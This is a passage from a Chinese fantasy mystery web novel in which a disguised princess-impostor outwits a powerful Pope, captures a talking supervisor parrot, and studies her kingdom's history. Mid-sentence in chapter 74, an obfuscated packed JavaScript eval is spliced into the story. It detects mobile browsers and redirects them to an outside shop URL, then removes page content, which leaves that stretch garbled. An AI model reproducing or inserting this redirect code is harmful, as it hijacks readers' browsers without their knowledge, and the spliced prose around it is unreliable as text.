最后，内利*泰勒再次上台简述了后续调查方向：“第一，我们将全面排查在餐厅用餐的所有学生、教职工和厨房工作人员，将每个人的行动和时间线整理清楚；第二，将由霍布斯*沙穆先生为主导，对监督者13号进行回忆重建，从中寻找相关线索；第三，我们得到了新的关键情报，但为保密不在这里公开。” 听到这里，卡特琳娜紧绷的肩膀略微放松，看来监督者13号的那只小小鹦鹉灵智不足，根本不知道案发的具体情况，不过是一个单纯的带话人。唯一令她不安的是，那只鹦鹉在早些时候约了公主去“老地方”。 如果真的让他们对监督者13号进行回忆重建，那公主与阿伦*沙穆的私下交往就彻底暴露了，这会给她和凯特罗琳都添很多麻烦。 安排好了大体的工作，各部门各司其职，相关人员 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“公主在学院学习基础魔法，已经有了一定的魔法学根基，受到波动灵力的影响，做了一个预知梦，这是有可能发生的事情。灵力敏锐的初学者，往往是最有潜力的预言家。”内利*泰勒开始分析起来，“但预知梦也不是无缘无故发生的，一定有什么征兆。” 他提出：“公主在之前很有可能接触过凶手，潜意识层面察觉到了凶手的杀意，所以会做这样的预知梦。所以，对公主进行回忆重建，也是很有必要的调查，尤其要将回忆时间拉长，不能够局限在这几天。” 卡特琳娜听到这里，不由得笑出来，答：“虽然与阿伦*沙穆只有几面之缘，但同为主神的信徒，我为他的遭遇感到遗憾。我一定会尽我的全力配合你们的工作，希望能顺利抓到凶手。” 霍布斯*沙穆是教会中少有修习人灵派的巫师，他的水平相当平淡，卡特琳娜完全有信心能在他的眼皮底下扭曲、伪造出对自己有利的回忆。 “这恐怕不太合适。”肯*沙穆突然说。 她侧过头去看他，发现教皇的脸依然像是沐着一层圣光。她情不自禁喊了声：“圣父？” 他朝她微笑：“孩子，你是我亲手洗礼的孩子，是拜厄的公主，是古奥斯家族的继承人。由霍布斯来为你重建回忆就太失礼了，他不配触碰你哪怕一根手指。” 卡特琳娜听到他温柔的语调，背上的汗毛都竖了起来，但她还是故作镇定地询问：“圣父……那您说，该怎么做才行呢？” “当然是由我来。” 肯*沙穆的手覆在了卡特琳娜的手上，他的手很大，能够将她的手完完全全地抓住。 这触感相当熟悉，湿润、温暖，卡特琳娜总觉得在哪里遇到过。 她抬眼看肯*沙穆的脸，才发觉了一个致命的问题。从第一眼见到他开始，她的眼睛就一直被圣光充盈，导致她无法看清他的五官——或者说记不得他的五官。 她不知道他长什么样子，却能感受到神圣的光将她包裹。 “我的孩子，我是你的圣父，除了我，没人更合适了。” 74. 证据失踪 卡特琳娜受到圣父光辉的感召，她不仅没有摆脱肯*沙穆抓着她的手的欲望，某种刻骨的悔意竟开始涌上心头。 圣父的视线是照射在她身上的光芒，将她的秘密暴露出来，欺瞒、杀人的罪责如利刃刺伤她的心脏。她坚定冷静的外壳似乎在逐渐碎裂，内心的谴责一点一点啃噬着她的意志。 她感到一种深深的羞愧。 她的计划、她的伪装，此刻都在圣父的注视下显得如此卑微渺小。她多么希望她能成为被原谅的孩子，在圣父的怀抱中洗涤一切罪孽。 她不是凯特罗琳，她是真正的凶手，她应该告诉他，然后请求他的原谅。她杀死了他最疼爱的孩子，剥夺了一条活生生的命。 她有罪，她必须忏悔。 “圣父……”想到此处，卡特琳娜眼眶湿润，声音颤抖。 正当她想要将秘密和盘托出，一阵仓促的脚步声打破了会议室内的平静。警员慌慌张张将消息告诉探长，内利*泰勒惊得站立了起来：“什么？13号监督者失踪了？！” 肯*沙穆将手放开，也站起身来，但语气相对镇定：“怎么回事？” “你们怎么做事的？不是让你们将鹦鹉关在笼子里吗？怎么会飞走？”内利*泰勒气得头顶冒烟。 卡特琳娜也终于从莫名其妙的羞愧情绪中回过神来，她惊疑未定，不动声色地垂下眼。她发誓，她绝不再与肯*沙穆对视。全知神教的教皇根本不是物灵派的顶尖巫师，而是人灵派的终极高手！ 仅仅是一眼，一句话，一点触碰的温度，她几乎缴械投降，差点将所有的秘密全部交代。 后背的冷汗浸湿了她的衣服，让她打了个寒战。 “探长，那，那不是普通的鹦鹉，是监督者……”警员解释道，“根据学院的服务动物福利管理规定，是不能将监督者关在笼子里的……所以我们是让监督者13号留在教师办公室，那里被征用为审讯房间……但刚刚带着霍布斯*沙穆先生过去的时候，发现监督者13号不见了……” “看守的警员呢？！”内利*泰勒厉声质问。 “因为要来听调查会，所以他将监督者13号所在的房间锁上后过来了这里，然后他又带着霍布斯*沙穆先生一起过去。” 内利*泰勒要去问责那个将重要线索搞丢的警员，火急火燎走了。 “孩子，你刚刚是有什么想要对我说吗？”肯*沙穆转过头来，柔声询问道。 卡特琳娜不再与他对视，而是低头看向他长袍上繁复的纹路。她平复心绪，将莫名的悔意收回，说：“圣父，我想要说的是，我当然愿意为了协助你们寻找线索做出一切努力。我只是，有些害怕……” 她声音颤抖，惹人怜悯。事务官立即来到她的身边，握了握她的肩膀鼓励她。卡特琳娜才又继续说：“凶手还在学院中，我知道他的脸，虽然我手指受伤，但最快的办法还是由我画出来。如果进行回忆重建，会浪费时间。请给我几个小时，让我在天亮前画下他的脸。” “孩子，感谢你为阿伦做的一切。”肯*沙穆微笑着，拾起公主的手，在手背上落下了圣父的吻。 她的请求得到了在场所有人的认可。 于是卡特琳娜在事务官和警员的护送下来到了美术室。她希望在绝对安静的环境中创作，让事务官和警员在门外守着。 但要说她不紧张那是不可能的，肯*沙穆的强大绝不是此时的她能够对抗。而且监督者13号的失踪让整件事布上了扑朔迷离的阴云，她无法从中获取太多的信息。 那只鹦鹉是自己飞走，还是被人带走？ 监督者鹦鹉是拜厄皇家学院的特殊产物之一，起源于最初的风纪委员会，由学生风纪委员对同学们进行纪律的监督。 学院学生管理条例中的上课考勤、餐食入座和宿舍门禁等都受到严格的监督。但在学生自治的情况下，会出现许多徇私舞弊、结党营朋的不良事件，挑战到了管理层的权威。 因此，经过校董会的商议，选择了鹦鹉这种在拜厄种群数量多、灵智高于其他动物、服从性好、行动范围大的动物作为监督者的载体，由专业的动物驯养师进行培训后上岗。后来，监督者完全取代了风纪委员会，成为了更公平公正的代表。 目前，学院一共有五十只在岗的监督者，其中监督者13号至16号主要负责餐厅的到餐人数清点、用餐礼仪警告等工作。它能清楚记得几乎所有学生的脸和名字，将缺席或不规范用餐的学生名单上报给主管教师。 由于阿伦*沙穆学的是物灵派魔法，专攻动物驯养方向，所以他能利用自己的能力与监督者13号产生特有的联系，让它为自己传递口信——间接说明了这样的监督方式也不是完全没有漏洞。 但卡特琳娜不太清楚他们之间的联系到了什么样的程度，阿伦对监督者13号来说究竟意味着什么。 她拿着笔，在画布上勾勒出一个轮廓，却怎么也无法描绘这个人的五官。她当然不是在画她自己虚构的不存在的“凶手”，她想知道真实的肯*沙穆是长什么样子。 她甚至回忆之前看过的传教册，明明对教皇的印象很深，却怎么也无法二次描绘出他具体形貌。 想必他给其他人也是这样的感觉，只是他们对圣父太过于崇拜和敬仰，从而忽略了他身上存在的不真实性。 “阿伦……伊桑……” 卡特琳娜的画技当然比不过凯特罗琳，但也还是能画出一个像模像样的人。她回忆起伊桑的脸，对比他与阿伦之间的不同，将一个严肃正经却稍显阴郁的俊俏男人画了出来。 为了更加逼真，她给他画上了学院男生制服。 她画得很快，是希望能给自己预留更多的时间。她将笔在纸上摩擦的声音录进了蜗牛壳里，在美术室内循环播放。然后她告诫屋外的事务官和警员，说：“没有我允许之前，禁止任何人进来，不然会打断我的思路。即使是探长或圣父来了都不行！” 在听到他们答应之后，卡特琳娜从窗户翻了出去，小心翼翼潜入夜色。 现在警方在学院内部署了相当的警力，但为了不引起恐慌，他们也只能低调地巡逻。 学院占地面积大， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044010|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有相当多的绿植覆盖，后山往东直接连接到圣马河，那里肯定也戒备森严。 今晚的学生宿舍肯定不得安宁，警方会找学生一个个询问时间线，并且配备有测验谎言的魔法道具。 卡特琳娜完全不担心凯特罗琳会被揭穿，她不是第一次扮演凯妮丝，已经相当熟练，应该不会被人发觉。 唯一的问题是三个无法彻底毁灭的证据： （1）化作腐蚀浓液的餐刀和沾血的衣服——即使化作了浓液，但一旦有人发现凯妮丝少了一套制服，还是会引起不少怀疑； （2）医务室药品仓库角落里封闭了阿伦灵魂的镜子——卡特琳娜藏得相当隐秘，药品仓库有太多草药味道，她有信心即使是寻味犬也没有办法从中嗅到任何线索； （3）失踪的监督者13号——这只鹦鹉身上有着突破性的线索，它知道阿伦与凯特罗琳在日间见过面，会暴露公主与阿伦的私情，而且它的失踪不是凶手所为，也没有别的人有带走它的动机，那就只可能是它自己离开的。 卡特琳娜为了隐藏自己是凶手的真相，已经做足了前期准备。如今她再次潜入夜里，只有一个目的，找到监督者13号。 她相信，监督者13号与阿伦之间的联系绝不是无缘无故，也不会是单纯的魔法指令。 虽然阿伦不是直接的驯养者，但他与13号之间存在信任关系，不然他不可能在遇到危险的第一时间想的是让13号去求援。 “会是在这里吗？” 为了绕开警员巡逻的路线，卡特琳娜费了一些功夫才达到“老地方”——之前来过的那片湖水前。 这里也有警员在搜寻中，所以卡特琳娜只能躲藏在林中。 她将手覆在树干上，想要感受阿伦的痕迹。 阿伦也能利用藤蔓和树木，他不是完全的动物驯养师，也有一部分是植物培育者。 但卡特琳娜没有这方面的天赋，她什么都感觉不到。 不在这里吗？ 卡特琳娜四处张望，只有漆黑的夜，没有哪怕一丝小鸟的影子。她略微失望，难道她想错了？ 驯养动物，不可能一蹴而就，需要长时间的相处。 阿伦不可能在大庭广众之下跟监督者相处，他一定有一个秘密的地方才对……应该在老地方附近，这里的一切阿伦都很熟悉…… 卡特琳娜决定相信自己的直觉，在又一波巡逻警员走过之后，她开始在林中穿梭。 阿伦应该很擅长使用空间魔法，也许他将他的秘密基地藏在了哪里…… 卡特琳娜从地上捡起一片叶子，嘴里念诵起咒语： “阿伦*沙穆培育的植物，以你生命最后的方向，引领我追寻记忆的原处……” 叶片飘荡起来，指引她往前。 没多久，她来到了一座木屋前。 “阿伦！”监督者13号激动地从窗户飞出来，但看到不是阿伦，而是她之后，被吓得翅膀歪了一下。 卡特琳娜微微一笑，伸手将小小鹦鹉抓在了手里。 看来，她猜对了。 75. 秘密基地 监督者鹦鹉选用的是拜厄小鹦鹉，这种鹦鹉智商较大鹦鹉稍低，体型小巧，通常体长约30厘米，性格温顺、服从性好，是拜厄官方常用的工作鸟类。 卡特琳娜手里的这只13号的羽毛呈淡灰色，头顶有明显的橙色斑块，颈部和脸颊有淡淡的蓝色。灵智有被开拓的痕迹，眼睛大而明亮，喙短而坚固，看起来非常机灵，怪不得阿伦会与它培养出魔法联系。 “凶手！凶手！”13号在卡特琳娜的手中扑腾着，却挣脱不得。它用它短短的喙来啄卡特琳娜的手指，却根本伤不到她。 明明卡特琳娜是用凯特罗琳的脸，但13号却指责她是凶手，说明它一下子就发现了她的真实身份。 作为一个监督者，所有学生都在它的眼皮底下。而且它还是凯特罗琳和阿伦*沙穆之间的秘密信使，它知道她是凯妮丝倒也不算奇怪。 必须杀了它才行。 虽然阿伦在木屋周围设置了隐蔽魔法，但也有被巡逻的警员发现的可能，所以卡特琳娜谨慎地在地面摸到了一块蕴含灵力的石头。她加固了隐蔽魔法，抓着13号到了木屋里面。 “这就是阿伦，不，克里斯托弗的秘密基地？” 卡特琳娜饶有兴味地逛了起来，木屋内部很小，但几乎装满了东西。阿伦收集了许多植物和动物标本，动物标本都是一些昆虫和小爬行动物以及小型鱼类。 她对标本不感兴趣，她只对监督者13号感兴趣。 它知道阿伦的真名是克里斯托弗，它绝不会是一只普通的鹦鹉。 她放开了手，13号立即往窗户飞去。但窗户在卡特琳娜的控制下关上，令它逃脱不得。 “你这只小鸡倒是灵活。”卡特琳娜哼笑一声，看着13号噗嗤噗嗤四处寻找出口，“你跟其他监督者不同，你是怎么回事？克里斯托弗对你做了什么吗？” 13号找不到出口，只能趴在窗边用嘴啄木质边缘。它听到卡特琳娜的话，很不服气，大喊大叫道：“我才不是小鸡！我是鸟！是鸟！” 它的音调很高，但仔细听会觉得与人类女孩的音色相似。 卡特琳娜立即发觉了异常之处，她再次抓了13号在手里，仔细观察。她觉得不可思议：“……你不是原来的13号对吧？” 她印象中，监督者都是一群例行公事的小鹦鹉，就像是小机器人一样，被设定了固定的程序，行事风格相当模式化。 在长期的培育过程中，它们已经能够舍弃恐惧。只有不惧怕威胁和伤害的监督者，才能够最公平公正地将审查材料提交上去。 但13号很怕她，就像是小鸡怕蛇，老鼠怕猫，监督者13号现在对她非常惧怕，甚至于有了失禁的倾向。 卡特琳娜改为提着它的两只翅膀，不能让它的排泄物脏了自己的手。 13号听到她的问题，大惊失色，叫道：“没有！没有！没有！我就是鹦鹉，我是鹦鹉！” 不仅情绪充沛，还能够说谎，这两个特质无论是哪一个都不符合监督者的选用标准。 这让卡特琳娜想起很久以前，自己变成青蛙的时候。人变成什么动物越久，越容易被同化。她几乎能够肯定，这只不知道谁变成的鹦鹉，已经很难再适应原本的自己了。 “小鸡，你做鹦鹉有多久了？”卡特琳娜让它站在自己的手指上，她见这小家伙不吃硬，只能用怀柔政策。她的语气变得轻柔起来，用另一只手给小鸡顺毛。 13号的情绪仍不安定，瑟瑟缩缩地回答：“没有！没有！我不是小鸡！” 卡特琳娜觉得必须扭转它的观念，用注入了灵力的话语说道：“你当然是小鸡，你是一只小鸡，你后来才变成鹦鹉的，所以你本质上就是小鸡。告诉我，阿伦是怎么把你变成了鹦鹉？” 监督者鹦鹉每一只都有编号备案，所以绝不会是物理上的改变，而是灵魂层面上的魔法。也许，与克里斯托弗*莱斯利占据阿伦*沙穆的身体是同样的原理…… 在卡特琳娜的注视下，13号终于不敢再犟嘴，承认了自己的来历：“是……是的，我，我不是真正的13号……” “所以你害怕被警方进行回忆重建，就逃到这里来了？” “是，是的，但也不完全是。我看到了阿伦的尸体，但克里斯托弗的灵魂一定还存在。我担心他，如果他在，他一定会来这里，所以我想来这里碰他……” 卡特琳娜就知道有收获，追问：“他为什么要来这里？” “克里斯托弗根本不是自愿被召唤到人世间来，他想要回到幽冥之国，所以一直在尝试不同的方法……这里有他好不容易找到的宝贝，他一定不舍得放弃……” “什么宝贝？” “我，我不知道，应该是在那个抽屉里。” 卡特琳娜顺着13号的视线看过去，是书桌旁侧第二层锁住的抽屉，看起来并没有什么特殊。她不敢贸然行动，怕会出现意外。 13号知道太多事情了，绝不能留它活着。 她继续盘问：“小鸡你呢，你做了鹦鹉也变笨了吗？如果你不告诉我克里斯托弗对你做了什么，我很难保证你能继续活下去……” “……”一段沉默之后，13号不再装傻，终于开口说话，“我可以告诉你想知道的事。你是杀害克里斯托弗的凶手，你现在捉住了我，一定不想留我活口。说实话，做了鹦鹉之后，我不太适应，我的状态时好时坏。也许再过一段时间，我就会成为真正的鹦鹉。” 它说的话不太连贯，但卡特琳娜理解它的意思。 “这很好，我会在你认为自己是鹦鹉的时候杀了你，让你不那么遗憾。”卡特琳娜答应它。 “既然克里斯托弗的灵魂还能存在，那我死了之后，你能不能也保留我的灵魂？我还不想要消失。”13号可怜巴巴地哀求她，为此缩成了一个小毛球，露出亮晶晶的小眼睛。 卡特琳娜不是这么心软的人，她只考虑自己的利益，她问：“这取决于你对我有多大的用处，13号。” 13号见她没有立即置它与死地的意思，赶紧表忠心道：“我可以把我知道的都告诉你，凯妮丝。甚至你可 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“我以为，你知道了这一切，所以才会杀他。刚刚我看到你以凯特罗琳的身份出现，我才知道，你应该也是别有所图的对吧？” 听到这里，卡特琳娜略微惊讶，她完全不知道克里斯托弗竟然是以凯特罗琳为目标。而且13号相当聪明，能很快看出她居心不良。 它竟然跟克里斯托弗一样，也是来自于幽冥之国，事情变得有趣起来了。 “我可以留你一命，你目前确实还有点用。告诉我你的名字，13号，我会改造你的灵空间。”卡特琳娜抓住了小鸟的脖子，“如果让我发现你对我有隐瞒或者欺骗，我随时会扭断你的脖子。” 小鸟仍对她惧怕，状态又恢复到鹦鹉的低智感，它咕咕了两声，说： “我叫，我叫简妮。” 它有些结结巴巴，补充道：“简妮*莱斯利，是我的名字。” 卡特琳娜彻底怔住。 这个名字对她来说有些遥远，但相当熟悉。她当然记得简妮，她作为洛尔兰王后时的贴身宫女便是一个叫做简妮的雀斑女孩。 她若有所思，把小鸟放在自己肩头，走到书桌旁，拿出克里斯托弗的笔记本。 从笔记的内容来看，克里斯托弗很仔细地研究了还魂术，一个很难驾驭的幽灵学派魔法。 他用卡特琳娜没见过的语言做了相当多的笔记，将阵法和咒语写得非常详细。 还魂术。 这是导致简妮在幽暗森林里死亡的魔法。当时卡特琳娜遭遇了幽灵女的袭击，米洛为了保住她自愿换到了简妮的身体里，而简妮的灵魂不知所踪。 这个简妮与当时的那个简妮，会有什么联系吗？ 卡特琳娜的后背起了鸡皮疙瘩，她没想过克里斯托弗的秘密基地里竟然有与她的过去和未来相关的东西。 她把手放在了那个据说装着宝贝的抽屉上。 她有了某种奇异的感觉。 她曾经遭遇和即将遭遇的一切，都是因果轮回的不断交替。 76. 准未婚夫 “这里有魔法痕迹！”巡逻的警员发现了林中的隐匿魔法。 他们立即将线索上报，教会方面派遣了专业的人士前来协助，将隐匿魔法破解，显露出了后面隐藏的木屋。 内利*泰勒第一时间进入现场，发现了这里是阿伦*沙穆生前的制作的地方，他甚至在窗台发现了失踪的鹦鹉13号。他正想要在木屋中取证，被教会方面告知这些情报属于教会机密，警方禁止擅自行动。 这时候天刚刚亮，他连夜忙活还被赶了出来。内利实在是怒不可遏，急匆匆带着助手去找局长理论。 “发现重要线索，教会却多番阻挠，不让警方获知情报，调查还能怎么继续？！既然教会这么重视，那让他们自己调查好了，让我们警方白忙活干什么？！”内利窝了一肚子火没处发泄。 局长知道他的臭脾气，也不与他计较，安抚道：“好了好了，知道你辛苦。但这件事非同小可，受害者是教会的学生修士，是教皇最看重的弟子之一。本来是要彻查到底的，但就在一小时前，出了些事情。” “什么事情？我怎么不知道？”内利追问，“难道是凯特罗琳公主画的凶手画像？我申请去看，她的事务官一直拦着我！” “具体怎么样不好说。他们那边已经先与教会联系了，应该是知道了凶手的线索。”局长拍了拍内利的肩膀，“泰勒，这么多年了，你要学会，不该过问的事不要问那么多。本身就是秘密调查，各方都不希望闹大。既然教会方面将事情包揽，我们不如就放了手，也不用担太多责任。” 内利气闷地离开，小助手在旁边战战兢兢地提醒他：“探长，还，还要不要再调查那个可疑的学生，玛吉？” 之前他们一直在负责在宿舍学生的时间线调查，玛吉是用餐后第一时间离开餐厅到达宿舍的同学。在盘问的过程中发现她没有不在场证明，还故意使用了距离房间较远的盥洗室。 “既然局长都这么说了，就别管太多。”内利*泰勒拿出烟斗，他嘴上这样说，心里有了另外的盘算。 他既然能成为拜厄最有名的探长，肯定是有些本事在身上的。他提示道：“你写报告的时候把学生当中可疑的人员都列出来，尤其记得把涉及人灵派禁忌魔法的事项写清楚。然后你复印两份，原件在警局备案，一份复印件发到教会，一份复印件发给王室。记得了，一定不要经过公主事务官，你亲自上呈到国王办公室。” * 卡特琳娜改造了监督者13号的灵空间后便回到了美术教室，她看着自己所虚构的凶手画像变成了空白，心中的疑问愈发清晰。 “殿下，圣父大人来了。”事务官敲了敲门。 很巧，她刚刚回来，肯*沙穆便来找她。她几乎可以肯定，她猜对了肯*沙穆所忌惮的东西，所以她的画才会被清除。 但很可惜的是，凯特罗琳*古奥斯是王室最正统的血脉，是教会很难割舍和清除的对象，肯*沙穆目前不会想要动她。 卡特琳娜不自觉露出了笑容，说：“可以进来了。” 事务官打开了门，做了恭敬的邀请姿势请圣父进来。卡特琳娜目不转睛地盯着缓缓步入的圣父的脸，这一次她看清楚了。 肯*沙穆的五官不再模糊，而是清晰地呈现在她眼里，与她在画纸上画下的梦境凶手的样子极其相似。 伊桑*沙穆，或者说伊桑*莱斯利，甚至是阿伦*沙穆、克里斯托弗*莱斯利，都顶着同样的一张脸。他们看上去是相似而不同的人，但实际上却有着一样的本质。 这也许就是肯*沙穆从幽冥之国召唤克里斯托弗*莱斯利的原因，也是他明明发现了公主不在美术室，却只是默默将画作清楚的理由。 正如卡特琳娜本人一样，她即是白钰，也是卡特琳娜*范维西，甚至还是凯特罗琳*古奥斯和凯妮丝*库克。 “抱歉，我的圣父。”卡特琳娜恭敬地低下头来，“在创作的过程中，我遇到了极大的难题，明明我知道凶手的模样，也按照自己所想而画，却无法真正地呈现。” “没关系，我的孩子，你已经尽了自己的全力。”圣父的手指点在卡特琳娜的头顶，“主神会庇佑你。” “那，还需要对我进行梦境重建，来寻找关于凶手的线索吗？”卡特琳娜故意问。 肯*沙穆慈祥地笑着：“当然不用，我的孩子，警方已经发现了监督者13号的所在，找到了很多关键的线索。如果还需要你的协助，相信警方会正式向王室对外办公室申请，而不是打扰你正常的学习生活。” 他们之间达成了某种默契，肯*沙穆不再探究公主身上的异常，公主也不再揭露关于阿伦死亡的“真相”。但卡特琳娜心里清楚，她总有一天会搞清楚幽冥之国的前因后果，只是现在还不是时候。 学生修士的餐厅凶杀事件，竟然在一夜之间便宣告结案。 后来卡特琳娜与凯特罗琳换回了身份，她还是从公主口中得知，原来在官方档案记录中，阿伦竟然是死于魔法混学的精神分裂后自杀。他模拟出了另一个自己，将真正的自己杀死了。 从那之后，学院便严格管理学生的魔法派别学习，决不允许再出现类似的失控事件。 这对于二年级的卡特琳娜和凯特罗琳来说也算意义重大，她们也开始很谨慎地学习镜子魔法，尽量避免涉及到其他派别的情况。 这是卡特琳娜第一次平静地度过相当长的一段时间，她每日只需要考虑学习这件事情。 当然，这只是表面上的情况。 实际上需要她考虑的事情实在太多了。 她早已将克里斯托弗藏在木屋的秘典抄录下来，并且在杀人案沉寂之后再次在镜中空间与幽灵克里斯托弗会面。 当时，她打开了13号所说的那个抽屉，却只残留了令她感觉熟悉的气息，而什么都没有。 “你藏起来的宝物究竟是什么？”她质问克里斯托弗。 他处于幽灵的状态之后，神志变得有些浑浑噩噩，对她的问题没有不回答的：“是一面镜子。” 卡特琳娜的呼吸变得急促，她觉得自己快要触及到关键的部分了，“什么镜子？你从哪里得到的？为什么抽屉里什么都没有？” “是一面虚幻的镜子，我并没有得到它， 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毕竟拜厄小鹦鹉寿命很长，足足有二十年的时间。虽然长时间的鹦鹉生活可能让简妮迷失自己，但只要她本质不便，卡特琳娜相信能找回她本身。 这段时间里，同学们也觉出冷漠的凯妮丝变得不太一样，开始能开朗地与人交谈，积极参与社团活动。甚至他们惊奇地发现，凯妮丝混入了公主团那群人当中去。 尽管斐丽佳和诺维雅非常不喜欢凯妮丝，但凯特罗琳宣告：“若你们不喜欢，那可以不用跟我和凯妮丝一起玩。” 斐丽佳和诺维雅大为惊讶，却又不得不在公主的眼皮底下对凯妮丝忍辱负重。但她们在背地里，却向王室上报，公主被班级里的贱民同学给带坏了。 因为凯特罗琳不顾事务官和宫廷反对，开始穿男装制服，将头发剪短，不想去淑女茶会就不去，正当光明与凯妮丝成为了一对形影不离的朋友。 为此，王室内务办公室召开了紧急会议，认为公主出现了严重的心理问题，需要接受专业的治疗。如果这一切的罪魁祸首真的是那个叫凯妮丝*库克的同学，那王室有必要对其进行严肃处理。 反而是教皇肯*沙穆给出了反对意见：“公主马上要十七岁，正是叛逆的年纪。等她结了婚，一切便会好起来。不过是与一个普通同学交往，没必要将事情闹得很大。” 王室当然是优先考虑圣父的建议。 在凯特罗琳十七岁生日前一周，王室对外宣告了亨利*戴维德作为公主凯特罗琳*古奥斯未婚夫候选人的消息。亨利*戴维德的父亲是政坛上的新贵，与教会关系密切，正是如日中天的时候。 这意味着，亨利*戴维德是拜厄王室继承人候选之一。 凯特罗琳最近沉迷魔法，对所谓的未婚夫没有一丝好感，对参与王室的斗争毫无兴趣，所以主动向凯妮丝提议要与她进行身份互换。 卡特琳娜一向表现得对王室生活充满好奇，同意了再次进行镜影谬换术，代替凯特琳娜去参加与未婚夫的第一次见面晚宴。 当然，她的目标并不是亨利*戴维德。 而是很久未见的圣父肯*沙穆。 77. 历史谜障 卡特琳娜并不是假装对王室生活很感兴趣，而是真的充满好奇。在这期间她为了解开自己两次穿越世界和时空的谜团，阅读了大量的相关典籍。其中很重要的一项，便是搞清楚这个世界的历史。 但在学习过程中，她发现了很多值得深究的部分，甚至她曾经的经历或许与历史发生过的事件相关。 其中，最让她在意的便是她作为卡特琳娜本身，以及她正在假扮的人物凯特罗琳所在的古奥斯家族。 作为王室家族，古奥斯的历史可以追溯到创世纪之前。 据记载，他们最早的祖先精于务农，以勤劳和智慧得到了部落首领的赏识，成为庄园领主。 后来希博人往南迁徙，古奥斯家族与其他民众一起成为流民，但长久以来的积累让他们暗地蛰伏等待反扑的时机。 在创世纪700年左右，当时北大陆人在希博王朝的统治下苦不堪言，古奥斯家族将被驱逐的各地领主的后裔聚集在一起，带领遗民起义，自称是新狄埃人，建立了拜厄王国。 当时，在所有领主后裔中推举出了拜厄王国的第一任国王，即古奥斯家族的卢*古奥斯。 但是，起义的开始并不成功，希博人不仅自身高大勇猛，还能够统御龙族，驱使恶龙为己所用。拜厄一方无法正面对抗，只能藏身于山野深林，与希博军队进行游击。 希博人不胜其烦，聚集了最强大的兵力，一举攻破了拜厄王国的藏匿在沼泽中的地下首都，将国王卢*古奥斯生擒。 他们为了断绝狄埃人的复兴，要以最大的力度惩戒卢*古奥斯。他们将他带到了北方最接近冰原无人区的边缘地带，将他封在永冻之冰中，然后将他的遗体在北大陆各个城镇巡回展示。 记载当中的边缘地带，即是如今的亚连士雪山分界——洛尔兰。 令人惊异的是，就在卢*古奥斯的遗体被巡回示众的过程中，另一个与他长相一模一样的卢*沙穆横空出世。 他自称是复活的卢*古奥斯，得到了全知神的传承。他舍弃了俗世的姓氏，成为神最亲密的孩子，降临人间是为了解救所有受苦的人。 他将摧毁的教堂重建，将残破的教典整理，收留流离失所的民众。他成为了狄埃人的精神领袖，帮助古奥斯家的另一个儿子科迪*古奥斯成为拜厄的第二任国王。 本已分崩离析的拜厄王国在卢*沙穆的力量下再次聚合，并且出现了诸多战斗力强大的战士和魔法实力拔萃的巫师。 卢*沙穆所做的一切遭受希博人的憎恶。 但在后面近100年的厮杀中，希博人几乎没有再站过上风。卢*沙穆依靠无数胜利的战役站在了魔法学的巅峰，将这一群御龙的野蛮人赶到了原来的冰川。 卢*沙穆夺回了自己被冰雪冻结的“前身”——如今那一具神之子的冰雕依然在费里特大教堂的冰库中完好保存。然后，卢*沙穆在宣告他将已经重降人间的永昼之城后，消失在了历史中。 在这之后，拜厄便一直在王权和教权的双重统治之下。 卢*沙穆作为第一任国王与全知神教新教的创始者，既代表王权也代表了教权。他作为一个时代的精神领袖，影响着世世代代的狄埃人。 即便到了今天，卡特琳娜都能感觉到他对这个国家的深远影响力。 拜厄王座是由古奥斯家族世袭承继，而教会的最高位置教皇则是由上一任教皇禅让而成。在卢*沙穆离开之前，他任命希*沙穆为第二任教皇。希*沙穆辅佐了前后五代国王才荣升神国，将教皇之位任命给了自己的弟子肯*沙穆。 肯*沙穆从二十九岁开始坐在教皇的位置上，直至今日已有百余年。到托因比*古奥斯即古奥斯八世，已经是他辅佐的第三个君主。 由于古奥斯家族与教会的密切联系，每一代古奥斯成员都会送一个男性到教会中由教皇抚养栽培。但成为修士的古奥斯，便失去了古奥斯的姓氏，只能留下神姓沙穆，并且他们不能结婚生子，无法留下血脉后人。 长此以往，古奥斯家族血脉日渐稀薄，到了凯特罗琳这一代，仅有她一个女性成员，甚至她父母托因比国王还欠教会一个王室血脉的修士未送。 但将公主之夫改姓后作为古奥斯继承人也有先例，古奥斯第五代时便出现过后继无男的情况。王室为公主的夫婿举行了血脉仪式，将夫妻二人进行了魔法学意义上的血脉相通，以此确证古奥斯血脉的纯粹。 今天是凯特罗琳*古奥斯的十七岁生日，王室为她在费里特王宫举行了盛大的宴会，也借此机会让她与早已选好的准未婚夫亨利*戴维德见面。 卡特琳娜已不是第一次扮作凯特罗琳到王宫中来，但却是第一次遇到如此盛大的场面。她完全能够理解凯特罗琳对这些繁文缛节的厌恶，仅仅是穿一件裙子，便有着诸多复杂的过程。 她在事务官和宫仆的帮助下，花费了将近半个小时才穿好衣服。然后她坐在梳妆镜前，感觉自己的腰腹被勒得喘不上气，却不得不等待化妆师慢慢给她打扮。 “我不是给了厨房一份食谱，为什么不照我说的做？”卡特琳娜看着被端上来的宫廷点心，有些不太高兴。 她对拜厄的饮食非常失望，完全没有伊桑曾向她所说的那样丰富有味，完全不对她的胃口。所以她给凯特罗琳分享了自己的家乡点心的做法，让凯特罗琳给到了宫廷厨房。 拜厄南方有一种植物叫葽草，类似水稻，量产很小，但口感像卡特琳娜喜欢的大米。天知道她来到这个世界之后有多久没有吃到米饭了，所以她以凯特罗琳的名义让宫廷从南方收购了一些葽草，用来制作米糕、米酒和米粉。 但这些副产物制作工艺复杂，目前的费里特王宫只能做出来米糕。 之前凯特罗琳拿到学院来给她吃过，她觉得味道还不错。学院也意识到葽草的培育价值，准备让专业的植物培育巫师来进行研究。 “殿下，王后说葽草是南方贱民的饮食，不能进入神圣的王宫，已经都给烧了……”事务官回答她。 卡特琳娜倒没想到后妈碧翠丝对她有这么大的恶意，但她完全能够理解。毕竟托因比娶碧翠丝的目的只在于生下儿子，过了这么多年不仅没有儿子，连第二个女儿也没有见到影子，碧翠丝在王宫的日子又怎么会好过？ 